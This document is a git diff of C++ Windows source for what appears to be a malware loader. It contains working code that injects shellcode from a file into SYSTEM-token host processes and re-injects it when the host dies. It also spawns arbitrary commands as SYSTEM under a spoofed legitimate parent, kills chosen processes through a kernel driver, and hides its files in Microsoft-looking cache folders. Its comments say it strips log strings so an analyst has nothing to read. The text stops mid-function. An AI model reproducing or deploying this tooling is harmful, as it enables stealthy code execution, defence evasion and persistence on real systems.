L"\r\n " << h.pid + << L" session=" << h.sessionId + << L" score=" << h.score + << L" system=" << (h.systemToken ? 1 : 0) + << L" injectable=" << (h.injectable ? 1 : 0) + << L" " << h.imageName; + } + + return os.str(); +} + +std::wstring FormatSpawnResult(const SpawnResult& r) +{ + if (!r.ok) + return L"ERR " + (r.error.empty() ? std::wstring(L"spawn failed") : r.error); + + std::wostringstream os; + + os << L"OK pid=" << r.pid + << L" parent=" << r.parentPid + << L" session=" << r.sessionId; + + if (!r.hostImage.empty()) + os << L" host=" << r.hostImage; + + if (!r.method.empty()) + os << L" method=" << r.method; + + return os.str(); +} + + diff --git a/HostSpawn.h b/HostSpawn.h new file mode 100644 index 0000000..0066b0a --- /dev/null +++ b/HostSpawn.h @@ -0,0 +1,53 @@ +#pragma once + +#include + +#include +#include + +struct HostInfo +{ + DWORD pid = 0; + DWORD sessionId = 0; + std::wstring imagePath; + std::wstring imageName; + bool systemToken = false; // token SID is S-1-5-18 + bool injectable = false; // not PPL-protected, thread/VM rights available + int score = 0; // higher = better host candidate +}; + +struct SpawnResult +{ + bool ok = false; + DWORD pid = 0; + DWORD parentPid = 0; + DWORD sessionId = 0; + std::wstring hostImage; + std::wstring method; + std::wstring error; +}; + +// Enumerates processes that hold a SYSTEM token, sorted best-first. +std::vector EnumerateSystemHosts(); + +// Same enumeration, optionally including non-SYSTEM hosts. Used for testing the +// token/parent plumbing without elevation. +std::vector EnumerateHosts(bool requireSystem); + +// Starts an arbitrary command as SYSTEM, with the chosen host as its parent +// process. The child carries the host's token, so the process tree reads as +// legitimate: svchost.exe -> your program. +// +// preferredImage may be empty; pass "svchost.exe" to force that host family. +// userSession = true moves the child into the active console session so a GUI +// appears on the logged-in desktop. +SpawnResult SpawnThroughHost( + const std::wstring& commandLine, + const std::wstring& preferredImage, + bool userSession, + bool requireSystem = true); + +// One-line summary for command ACKs. +std::wstring FormatHostList(const std::vector& hosts); +std::wstring FormatSpawnResult(const SpawnResult& r); + diff --git a/HostStager.cpp b/HostStager.cpp new file mode 100644 index 0000000..77be28d --- /dev/null +++ b/HostStager.cpp @@ -0,0 +1,367 @@ +#include "Common.h" +#include "HostStager.h" +#include "HostSpawn.h" +#include "ShellcodeUtils.h" +#include "Logger.h" +#include "Paths.h" + +#include +#include + +static std::string ToUtf8(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + + if (need <= 0) + return std::string(); + + std::string out(need, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); + + return out; +} + +static std::wstring FromUtf8(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + + if (need <= 0) + return std::wstring(); + + std::wstring out(need, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); + + return out; +} + +static std::wstring TrackPath() +{ + return ArdrvStatePath(); +} + +bool GetProcessCreateTime(DWORD pid, unsigned long long& out) +{ + out = 0; + + HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + + if (!h) + return false; + + FILETIME created{}, exited{}, kernel{}, user{}; + + bool ok = GetProcessTimes(h, &created, &exited, &kernel, &user) != FALSE; + + CloseHandle(h); + + if (!ok) + return false; + + ULARGE_INTEGER u{}; + u.LowPart = created.dwLowDateTime; + u.HighPart = created.dwHighDateTime; + out = u.QuadPart; + + return true; +} + +bool HostStillAlive(const HostTrack& track) +{ + if (track.pid == 0) + return false; + + unsigned long long created = 0; + + if (!GetProcessCreateTime(track.pid, created)) + return false; + + if (track.creationTime != 0 && created != track.creationTime) + return false; // PID was recycled into a different process + + return true; +} + +HostTrack LoadHostTrack() +{ + HostTrack t; + + std::wstring trackFile = TrackPath(); + + // One-time migration from the old flat layout. + if (GetFileAttributesW(trackFile.c_str()) == INVALID_FILE_ATTRIBUTES) + { + std::wstring legacy = ArdrvLegacyStatePath(); + + if (GetFileAttributesW(legacy.c_str()) != INVALID_FILE_ATTRIBUTES) + { + EnsureDirExists(ArdrvRoot()); + + if (CopyFileW(legacy.c_str(), trackFile.c_str(), FALSE)) + DeleteFileW(legacy.c_str()); + } + } + + HANDLE h = CreateFileW( + trackFile.c_str(), + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + return t; + + char buf[4096]{}; + DWORD read = 0; + ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr); + CloseHandle(h); + + std::string text(buf, read); + std::wstring wide = FromUtf8(text); + + std::wistringstream in(wide); + std::wstring line; + + while (std::getline(in, line)) + { + size_t eq = line.find(L'='); + + if (eq == std::wstring::npos) + continue; + + std::wstring key = line.substr(0, eq); + std::wstring value = line.substr(eq + 1); + + while (!value.empty() && (value.back() == L'\r' || value.back() == L'\n')) + value.pop_back(); + + if (key == L"pid") + t.pid = (DWORD)wcstoul(value.c_str(), nullptr, 10); + else if (key == L"created") + t.creationTime = _wcstoui64(value.c_str(), nullptr, 16); + else if (key == L"payload") + t.payload = value; + else if (key == L"host") + t.hostImage = value; + } + + return t; +} + +bool SaveHostTrack(const HostTrack& track) +{ + std::wostringstream os; + + os << L"pid=" << track.pid << L"\r\n"; + + wchar_t created[32]{}; + swprintf_s(created, L"%016llx", track.creationTime); + os << L"created=" << created << L"\r\n"; + + os << L"payload=" << track.payload << L"\r\n"; + os << L"host=" << track.hostImage << L"\r\n"; + + std::string bytes = ToUtf8(os.str()); + + HANDLE h = CreateFileW( + TrackPath().c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + { + Log(L"[-] SaveHostTrack: create failed: %lu", GetLastError()); + return false; + } + + DWORD written = 0; + BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr); + CloseHandle(h); + + return ok && written == bytes.size(); +} + +bool ClearHostTrack() +{ + return DeleteFileW(TrackPath().c_str()) != FALSE; +} + +HostInjectResult InjectShellcodeIntoHost( + const std::wstring& shellcodePath, + const std::wstring& preferredImage, + bool requireSystem) +{ + HostInjectResult result; + + if (shellcodePath.empty()) + { + result.error = L"no shellcode path"; + return result; + } + + std::wstring full = shellcodePath; + wchar_t abs[4096]{}; + + if (GetFullPathNameW(shellcodePath.c_str(), _countof(abs), abs, nullptr)) + full = abs; + + std::vector payload; + + if (!ReadFileToMemory(full.c_str(), payload)) + { + result.error = L"cannot read shellcode: " + full; + return result; + } + + std::vector hosts = EnumerateHosts(requireSystem); + + HostInfo* chosen = nullptr; + + for (auto& h : hosts) + { + if (!h.injectable) + continue; + + if (requireSystem && !h.systemToken) + continue; + + if (!preferredImage.empty() && + _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) + { + continue; + } + + chosen = &h; + break; + } + + if (!chosen) + { + result.error = hosts.empty() + ? L"no host process found (need admin or SYSTEM)" + : L"no injectable host available"; + return result; + } + + unsigned long long created = 0; + + if (!GetProcessCreateTime(chosen->pid, created)) + { + result.error = L"cannot read host creation time"; + return result; + } + + if (!InjectShellcodeIntoExisting(chosen->pid, payload.data(), payload.size())) + { + result.error = L"injection failed into " + chosen->imageName; + return result; + } + + result.ok = true; + result.hostPid = chosen->pid; + result.hostSession = chosen->sessionId; + result.creationTime = created; + result.hostImage = chosen->imagePath; + result.method = L"remote-thread"; + + HostTrack track; + track.pid = result.hostPid; + track.creationTime = created; + track.payload = full; + track.hostImage = result.hostImage; + + if (!SaveHostTrack(track)) + result.method += L"+track-failed"; + + Log(L"[host] injected %s into %s pid=%lu", + full.c_str(), + result.hostImage.c_str(), + result.hostPid); + + return result; +} + +HostInjectResult EnsureHostInjected(bool requireSystem) +{ + HostInjectResult result; + + HostTrack track = LoadHostTrack(); + + if (!track.Tracked()) + { + result.error = L"no host payload configured"; + return result; + } + + if (HostStillAlive(track)) + { + result.ok = true; + result.hostPid = track.pid; + result.creationTime = track.creationTime; + result.hostImage = track.hostImage; + result.method = L"already-running"; + + DWORD session = 0; + + if (ProcessIdToSessionId(track.pid, &session)) + result.hostSession = session; + + return result; + } + + Log(L"[host] previous host gone (pid=%lu), re-injecting", track.pid); + + result = InjectShellcodeIntoHost(track.payload, L"", requireSystem); + + if (!result.ok) + Log(L"[-] host re-inject failed: %s", result.error.c_str()); + + return result; +} + +std::wstring FormatInjectResult(const HostInjectResult& r) +{ + if (!r.ok) + return L"ERR " + (r.error.empty() ? std::wstring(L"inject failed") : r.error); + + std::wostringstream os; + + os << L"OK host_pid=" << r.hostPid + << L" session=" << r.hostSession + << L" method=" << r.method; + + if (!r.hostImage.empty()) + os << L" host=" << r.hostImage; + + return os.str(); +} + +std::wstring FormatHostTrack(const HostTrack& t) +{ + if (!t.Tracked()) + return L"track=none"; + + std::wostringstream os; + + os << L"track pid=" << t.pid + << L" alive=" << (HostStillAlive(t) ? 1 : 0) + << L" payload=" << t.payload; + + if (!t.hostImage.empty()) + os << L" host=" << t.hostImage; + + return os.str(); +} + diff --git a/HostStager.h b/HostStager.h new file mode 100644 index 0000000..d135cdb --- /dev/null +++ b/HostStager.h @@ -0,0 +1,50 @@ +#pragma once + +#include + +#include + +struct HostInjectResult +{ + bool ok = false; + DWORD hostPid = 0; + DWORD hostSession = 0; + unsigned long long creationTime = 0; + std::wstring hostImage; + std::wstring method; + std::wstring error; +}; + +struct HostTrack +{ + DWORD pid = 0; + unsigned long long creationTime = 0; + std::wstring payload; + std::wstring hostImage; + + bool Tracked() const { return pid != 0 && !payload.empty(); } +}; + +// Injects the shellcode at 'shellcodePath' into the best SYSTEM host process. +// Identity is recorded (pid + creation time) so a recycled PID is never treated +// as the same host. +HostInjectResult InjectShellcodeIntoHost( + const std::wstring& shellcodePath, + const std::wstring& preferredImage, + bool requireSystem); + +// True when the tracked pid still exists AND its creation time matches, which +// rejects PID reuse. +bool HostStillAlive(const HostTrack& track); + +bool GetProcessCreateTime(DWORD pid, unsigned long long& out); + +HostTrack LoadHostTrack(); +bool SaveHostTrack(const HostTrack& track); +bool ClearHostTrack(); + +// Used by the guard role: re-injects only when the previous host is gone. +HostInjectResult EnsureHostInjected(bool requireSystem = true); + +std::wstring FormatInjectResult(const HostInjectResult& r); +std::wstring FormatHostTrack(const HostTrack& t); diff --git a/KillSafety.cpp b/KillSafety.cpp new file mode 100644 index 0000000..cf8cdd2 --- /dev/null +++ b/KillSafety.cpp @@ -0,0 +1,451 @@ +#include "Common.h" +#include "KillSafety.h" +#include "DriverClient.h" +#include "Logger.h" + +#include +#include +#include +#include + +static std::wstring Lower(const std::wstring& s) +{ + std::wstring out = s; + + for (auto& c : out) + c = (wchar_t)towlower(c); + + return out; +} + +static std::wstring BaseNameFromPath(const std::wstring& path) +{ + size_t slash = path.find_last_of(L"\\/"); + + if (slash == std::wstring::npos) + return path; + + return path.substr(slash + 1); +} + +bool IsProtectedImage(const std::wstring& imageName) +{ + static const wchar_t* protectedImages[] = + { + // Kernel / session manager / critical subsystems. Terminate any of + // these and the machine bugchecks immediately. + L"system", + L"registry", + L"memcompression", + L"smss.exe", + L"csrss.exe", + L"wininit.exe", + L"winlogon.exe", + L"services.exe", + L"lsass.exe", + L"svchost.exe", + L"fontdrvhost.exe", + L"dwm.exe", + L"wudfhost.exe", + L"sihost.exe", + L"ctfmon.exe", + L"explorer.exe", + L"taskhostw.exe", + L"logonui.exe", + L"userinit.exe", + L"wininit.exe", + L"spoolsv.exe", + L"audiodg.exe", + L"conhost.exe", + L"sshd.exe", + }; + + const std::wstring lower = Lower(imageName); + + for (const wchar_t* p : protectedImages) + { + if (lower == Lower(p)) + return true; + } + + return false; +} + +// Collect our own pid and every ancestor up to the root. +static std::set SelfAndAncestors() +{ + std::set result; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + { + result.insert(GetCurrentProcessId()); + return result; + } + + std::vector> links; // pid -> parent pid + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (Process32First(snap, &pe)) + { + do + { + links.push_back({ pe.th32ProcessID, pe.th32ParentProcessID }); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + + DWORD cur = GetCurrentProcessId(); + + for (int depth = 0; depth < 16 && cur != 0; ++depth) + { + if (!result.insert(cur).second) + break; + + DWORD parent = 0; + + for (const auto& link : links) + { + if (link.first == cur) + { + parent = link.second; + break; + } + } + + cur = parent; + } + + return result; +} + +static std::vector PidsForImage(const std::wstring& imageName) +{ + std::vector pids; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return pids; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (Process32First(snap, &pe)) + { + do + { + if (_wcsicmp(pe.szExeFile, imageName.c_str()) == 0) + pids.push_back(pe.th32ProcessID); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return pids; +} + +bool KillReport::Refused(KillOutcome o) const +{ + return o == KillOutcome::Protected || + o == KillOutcome::SelfOrAncestor || + o == KillOutcome::IdentityMismatch; +} + +std::wstring KillReport::Format() const +{ + std::wostringstream os; + + os << (dryRun ? L"DRY-RUN" : L"EXECUTED") + << L" killed=" << killed + << L" candidates=" << attempts.size(); + + const size_t maxLines = 30; + size_t shown = 0; + + for (const auto& a : attempts) + { + if (shown >= maxLines) + { + os << L"\r\n ... " << (attempts.size() - shown) << L" more"; + break; + } + + ++shown; + + const wchar_t* state = L"?"; + + switch (a.outcome) + { + case KillOutcome::WouldKill: state = L"would-kill"; break; + case KillOutcome::Killed: state = L"killed"; break; + case KillOutcome::Protected: state = L"SKIP protected"; break; + case KillOutcome::SelfOrAncestor: state = L"SKIP own-tree"; break; + case KillOutcome::IdentityMismatch:state = L"SKIP identity"; break; + case KillOutcome::OpenFailed: state = L"skip open-failed"; break; + case KillOutcome::AccessDenied: state = L"SKIP access-denied(needs SYSTEM or PPL)"; break; + case KillOutcome::DriverFailed: state = L"driver-failed"; break; + } + + os << L"\r\n " << a.pid << L" " << state; + + if (!a.imagePath.empty()) + os << L" " << a.imagePath; + } + + return os.str(); +} + +void KillProcessesSafe( + const std::vector& imageNames, + bool dryRun, + DWORD maxKills, + KillReport& report, + bool allowBlindDriver) +{ + report = KillReport(); + report.dryRun = dryRun; + + if (maxKills == 0) + maxKills = 16; + + const std::set own = SelfAndAncestors(); + + std::set seen; + DWORD kills = 0; + + for (const auto& requested : imageNames) + { + if (kills >= maxKills) + break; + + if (requested.empty()) + continue; + + const std::wstring requestedBase = BaseNameFromPath(requested); + + // Refuse before enumerating: a protected image is never a candidate. + if (IsProtectedImage(requestedBase)) + { + KillAttempt blocked; + blocked.outcome = KillOutcome::Protected; + blocked.imagePath = requestedBase; + report.attempts.push_back(blocked); + continue; + } + + for (DWORD pid : PidsForImage(requestedBase)) + { + if (kills >= maxKills) + break; + + if (pid == 0 || pid == 4 || pid <= 4) + continue; + + if (!seen.insert(pid).second) + continue; + + KillAttempt attempt; + attempt.pid = pid; + + if (own.count(pid)) + { + attempt.outcome = KillOutcome::SelfOrAncestor; + report.attempts.push_back(attempt); + continue; + } + + // Hold the handle across the IOCTL: the process object stays alive, + // so the PID cannot be recycled into something critical mid-kill. + HANDLE proc = OpenProcess( + PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_TERMINATE, + FALSE, + pid); + + if (!proc) + { + // User-mode terminate is refused for PPL / SYSTEM images. The + // driver path does not need PROCESS_TERMINATE, so verify identity + // through a query handle and hand the PID to the kernel. + HANDLE queryOnly = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + + if (!queryOnly) + { + // Nothing openable (SYSTEM image while we are not elevated). + // Only the kernel can still act, and only when the caller + // explicitly allowed it: re-check the PID against a fresh + // snapshot so a recycled PID cannot slip through. + bool stillMatches = false; + + for (DWORD again : PidsForImage(requestedBase)) + { + if (again == pid) + { + stillMatches = true; + break; + } + } + + if (allowBlindDriver && stillMatches && !IsProtectedImage(requestedBase)) + { + if (dryRun) + { + attempt.outcome = KillOutcome::WouldKill; + attempt.imagePath += L" (driver)"; + report.attempts.push_back(attempt); + continue; + } + + const bool viaDriver = TerminateProcessViaDriver(pid); + + if (viaDriver) + { + attempt.outcome = KillOutcome::Killed; + ++kills; + report.killed = (int)kills; + } + else + { + attempt.outcome = KillOutcome::DriverFailed; + } + + report.attempts.push_back(attempt); + Sleep(150 + (GetTickCount() % 200)); + continue; + } + + attempt.outcome = + (GetLastError() == ERROR_ACCESS_DENIED) + ? KillOutcome::AccessDenied + : KillOutcome::OpenFailed; + + report.attempts.push_back(attempt); + continue; + } + + wchar_t fullPath[4096]{}; + DWORD len = _countof(fullPath); + + if (!QueryFullProcessImageNameW(queryOnly, 0, fullPath, &len)) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::OpenFailed; + report.attempts.push_back(attempt); + continue; + } + + attempt.imagePath.assign(fullPath, len); + + const std::wstring actualBase = BaseNameFromPath(attempt.imagePath); + + if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::IdentityMismatch; + report.attempts.push_back(attempt); + continue; + } + + if (IsProtectedImage(actualBase)) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::Protected; + report.attempts.push_back(attempt); + continue; + } + + if (dryRun) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::WouldKill; + report.attempts.push_back(attempt); + continue; + } + + const bool viaDriver = TerminateProcessViaDriver(pid); + + CloseHandle(queryOnly); + + if (viaDriver) + { + attempt.outcome = KillOutcome::Killed; + ++kills; + report.killed = (int)kills; + } + else + { + attempt.outcome = KillOutcome::DriverFailed; + } + + report.attempts.push_back(attempt); + + Sleep(150 + (GetTickCount() % 200)); + continue; + } + + wchar_t fullPath[4096]{}; + DWORD len = _countof(fullPath); + + if (!QueryFullProcessImageNameW(proc, 0, fullPath, &len)) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::OpenFailed; + report.attempts.push_back(attempt); + continue; + } + + attempt.imagePath.assign(fullPath, len); + + const std::wstring actualBase = BaseNameFromPath(attempt.imagePath); + + // Identity must match what we asked to kill, otherwise it is a + // different image that happened to share a PID or a name variant. + if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::IdentityMismatch; + report.attempts.push_back(attempt); + continue; + } + + if (IsProtectedImage(actualBase)) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::Protected; + report.attempts.push_back(attempt); + continue; + } + + if (dryRun) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::WouldKill; + report.attempts.push_back(attempt); + continue; + } + + const bool ok = TerminateProcessViaDriver(pid); + + CloseHandle(proc); + + if (ok) + { + attempt.outcome = KillOutcome::Killed; + ++kills; + report.killed = (int)kills; + } + else + { + attempt.outcome = KillOutcome::DriverFailed; + } + + report.attempts.push_back(attempt); + + // Space kills out; a tight loop of terminate IOCTLs is both noisy + // and a good way to catch a scheduler hiccup. + Sleep(150 + (GetTickCount() % 200)); + } + } +} diff --git a/KillSafety.h b/KillSafety.h new file mode 100644 index 0000000..25a36c4 --- /dev/null +++ b/KillSafety.h @@ -0,0 +1,53 @@ +#pragma once + +#include + +#include +#include + +// Result of evaluating a single candidate process. +enum class KillOutcome +{ + WouldKill, // dry run: everything checked out, nothing was done + Killed, + Protected, // image is on the never-touch list + SelfOrAncestor, // our own process or one of its parents + IdentityMismatch, // image path did not match the requested name + OpenFailed, + AccessDenied, // PPL / protected process: cannot even open for terminate + DriverFailed, +}; + +struct KillAttempt +{ + DWORD pid = 0; + std::wstring imagePath; + KillOutcome outcome = KillOutcome::OpenFailed; +}; + +struct KillReport +{ + bool dryRun = false; + int killed = 0; + std::vector attempts; + + bool Refused(KillOutcome o) const; + std::wstring Format() const; +}; + +// True for images that must never be terminated: terminating any of these +// takes the machine down. +bool IsProtectedImage(const std::wstring& imageName); + +// Terminates processes with the given image name through the driver, one at a +// time, with full identity verification. Never kills more than maxKills, +// never kills the caller or its ancestors, never kills a protected image. +// +// The process handle is held across the IOCTL, so the PID cannot be recycled +// between verification and termination. +void KillProcessesSafe( + const std::vector& imageNames, + bool dryRun, + DWORD maxKills, + KillReport& report, + bool allowBlindDriver = false); diff --git a/Logger.cpp b/Logger.cpp new file mode 100644 index 0000000..96d4bf6 --- /dev/null +++ b/Logger.cpp @@ -0,0 +1,55 @@ +#include "Common.h" +#include "Logger.h" + +#if ARDRV_LOG_ENABLED + +#define ARDRV_LOG_FILE L"C:\\Users\\Public\\ardrv_loader.log" + +void LogImpl(const wchar_t* fmt, ...) +{ + wchar_t buf[8192]; + buf[0] = L'\0'; + + va_list args; + + va_start(args, fmt); + int n = _vscwprintf(fmt, args); + va_end(args); + + if (n < 0) + n = 0; + + if (n > (int)_countof(buf) - 3) + n = (int)_countof(buf) - 3; + + va_start(args, fmt); + _vsnwprintf_s(buf, (size_t)(_countof(buf) - 1), (size_t)n, fmt, args); + va_end(args); + + buf[n] = L'\r'; + buf[n + 1] = L'\n'; + buf[n + 2] = L'\0'; + + HANDLE hFile = CreateFileW( + ARDRV_LOG_FILE, + GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_ALWAYS, + 0, + nullptr); + + if (hFile != INVALID_HANDLE_VALUE) + { + LARGE_INTEGER zero{}; + SetFilePointerEx(hFile, zero, nullptr, FILE_END); + + DWORD written = 0; + WriteFile(hFile, buf, (DWORD)((n + 2) * sizeof(WCHAR)), &written, nullptr); + CloseHandle(hFile); + } + + OutputDebugStringW(buf); +} + +#endif diff --git a/Logger.h b/Logger.h new file mode 100644 index 0000000..11f7dad --- /dev/null +++ b/Logger.h @@ -0,0 +1,24 @@ +#pragma once + +// Logging is compiled in for Debug builds only. In Release the macro expands to +// nothing, so neither the format string nor its arguments survive into the +// binary - no log file, no debug output, no strings for an analyst to read. +#ifndef ARDRV_LOG_ENABLED +#ifdef _DEBUG +#define ARDRV_LOG_ENABLED 1 +#else +#define ARDRV_LOG_ENABLED 0 +#endif +#endif + +#if ARDRV_LOG_ENABLED + +void LogImpl(const wchar_t* fmt, ...); + +#define Log(...) LogImpl(__VA_ARGS__) + +#else + +#define Log(...) ((void)0) + +#endif diff --git a/Paths.cpp b/Paths.cpp new file mode 100644 index 0000000..28b6968 --- /dev/null +++ b/Paths.cpp @@ -0,0 +1,229 @@ +#include "Common.h" +#include "Paths.h" + +#include + +static std::wstring ProgramDataDir() +{ + wchar_t buf[MAX_PATH]{}; + + DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf)); + + if (n > 0 && n < _countof(buf)) + return buf; + + return L"C:\\ProgramData"; +} + +static std::wstring MachineGuid() +{ + HKEY key = nullptr; + std::wstring out; + + if (RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Cryptography", + 0, + KEY_READ | KEY_WOW64_64KEY, + &key) == ERROR_SUCCESS) + { + wchar_t buf[128]{}; + DWORD size = sizeof(buf); + DWORD type = 0; + + if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && + type == REG_SZ) + { + out = buf; + } + + RegCloseKey(key); + } + + if (out.empty()) + { + // Fall back to the volume serial so the path is still per-machine. + DWORD serial = 0; + + if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0)) + serial = 0x12345678; + + wchar_t hex[16]{}; + swprintf_s(hex, L"%08lx", serial); + out = hex; + } + + return out; +} + +// FNV-1a over the machine GUID: 8 hex chars, stable on this host only. +static std::wstring MachineTag() +{ + const std::wstring guid = MachineGuid(); + + unsigned int hash = 2166136261u; + + for (wchar_t c : guid) + { + hash ^= (unsigned int)(c & 0xFF); + hash *= 16777619u; + hash ^= (unsigned int)((c >> 8) & 0xFF); + hash *= 16777619u; + } + + wchar_t out[16]{}; + swprintf_s(out, L"%08x", hash); + + return out; +} + +static std::wstring LocalAppDataDir() +{ + wchar_t buf[MAX_PATH]{}; + + DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf)); + + if (n > 0 && n < _countof(buf)) + return buf; + + return ProgramDataDir(); +} + +static bool RunningElevatedOrSystem() +{ + HANDLE token = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) + return false; + + TOKEN_ELEVATION elevation{}; + DWORD len = sizeof(elevation); + bool elevated = false; + + if (GetTokenInformation(token, TokenElevation, &elevation, len, &len)) + elevated = elevation.TokenIsElevated != 0; + + if (!elevated) + { + // SYSTEM is never "elevated" in the UAC sense but is fully privileged. + DWORD needed = 0; + GetTokenInformation(token, TokenUser, nullptr, 0, &needed); + + if (needed > 0) + { + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (GetTokenInformation(token, TokenUser, tu, needed, &needed)) + { + LPWSTR sid = nullptr; + + if (ConvertSidToStringSidW(tu->User.Sid, &sid)) + { + elevated = wcscmp(sid, L"S-1-5-18") == 0; + LocalFree(sid); + } + } + } + } + + CloseHandle(token); + return elevated; +} + +std::wstring ArdrvRoot() +{ + wchar_t override[MAX_PATH]{}; + + DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override)); + + if (n > 0 && n < _countof(override)) + { + std::wstring root = override; + EnsureDirExists(root); + return root; + } + + const std::wstring tag = MachineTag(); + const bool elevated = RunningElevatedOrSystem(); + + // Machine-wide deep path for services and elevated runs. + std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag; + + // Per-user deep path for an agent running as the interactive user. + std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag; + + std::wstring preferred = elevated ? machine : user; + std::wstring alternate = elevated ? user : machine; + + EnsureDirExists(preferred); + + if (GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES) + return preferred; + + EnsureDirExists(alternate); + + if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES) + return alternate; + + std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader"; + EnsureDirExists(flat); + + return flat; +} + +void EnsureDirExists(const std::wstring& path) +{ + if (path.empty()) + return; + + std::wstring partial; + + for (size_t i = 0; i < path.size(); ++i) + { + partial += path[i]; + + if (path[i] == L'\\' || i + 1 == path.size()) + { + if (partial.size() > 3) + CreateDirectoryW(partial.c_str(), nullptr); + } + } +} + +std::wstring ArdrvServiceDir(const std::wstring& serviceName) +{ + std::wstring dir = ArdrvRoot(); + dir += L"\\"; + dir += serviceName; + + EnsureDirExists(dir); + return dir; +} + +std::wstring ArdrvStageDir() +{ + std::wstring dir = ArdrvRoot(); + dir += L"\\stage"; + + EnsureDirExists(dir); + return dir; +} + +std::wstring ArdrvStatePath() +{ + std::wstring path = ArdrvRoot(); + path += L"\\state.dat"; + + return path; +} + +std::wstring ArdrvLegacyStageDir() +{ + return ProgramDataDir() + L"\\ArDrvLoader\\payloads"; +} + +std::wstring ArdrvLegacyStatePath() +{ + return ProgramDataDir() + L"\\ArDrvLoader\\host.track"; +} diff --git a/Paths.h b/Paths.h new file mode 100644 index 0000000..fba97c6 --- /dev/null +++ b/Paths.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include + +// Deep, machine-specific artifact layout. Nothing sits in a folder named after +// this project; the path is derived from the machine GUID so it is stable on a +// host but not guessable from another one. +// +// %ProgramData%\Microsoft\Windows\Caches\<8hex>\\.exe +// %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ (downloads) +// %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat (host tracking) +// +// Override the root with ARDRV_ROOT (useful for tests). + +std::wstring ArdrvRoot(); +std::wstring ArdrvServiceDir(const std::wstring& serviceName); +std::wstring ArdrvStageDir(); +std::wstring ArdrvStatePath(); + +// Old flat layout, used only for one-time migration. +std::wstring ArdrvLegacyStageDir(); +std::wstring ArdrvLegacyStatePath(); + +void EnsureDirExists(const std::wstring& path); diff --git a/ProcessUtils.cpp b/ProcessUtils.cpp new file mode 100644 index 0000000..984cf87 --- /dev/null +++ b/ProcessUtils.cpp @@ -0,0 +1,212 @@ +#include "Common.h" +#include "ProcessUtils.h" +#include "TokenUtils.h" +#include "Logger.h" + +DWORD GetPidByName(const wchar_t* exeName) +{ + if (!exeName) + return 0; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return 0; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (!Process32First(snap, &pe)) + { + CloseHandle(snap); + return 0; + } + + do + { + if (_wcsicmp(pe.szExeFile, exeName) == 0) + { + DWORD pid = pe.th32ProcessID; + CloseHandle(snap); + return pid; + } + } while (Process32Next(snap, &pe)); + + CloseHandle(snap); + return 0; +} + +bool ProcessExistsByName(const wchar_t* exeName) +{ + return GetPidByName(exeName) != 0; +} + +static bool BuildCommandLine( + const wchar_t* exePath, + const wchar_t* args, + std::wstring& fullPath, + std::wstring& commandLine) +{ + if (!exePath || !*exePath) + return false; + + wchar_t abs[4096]{}; + DWORD n = GetFullPathNameW(exePath, _countof(abs), abs, nullptr); + + if (n == 0) + wcscpy_s(abs, _countof(abs), exePath); + + 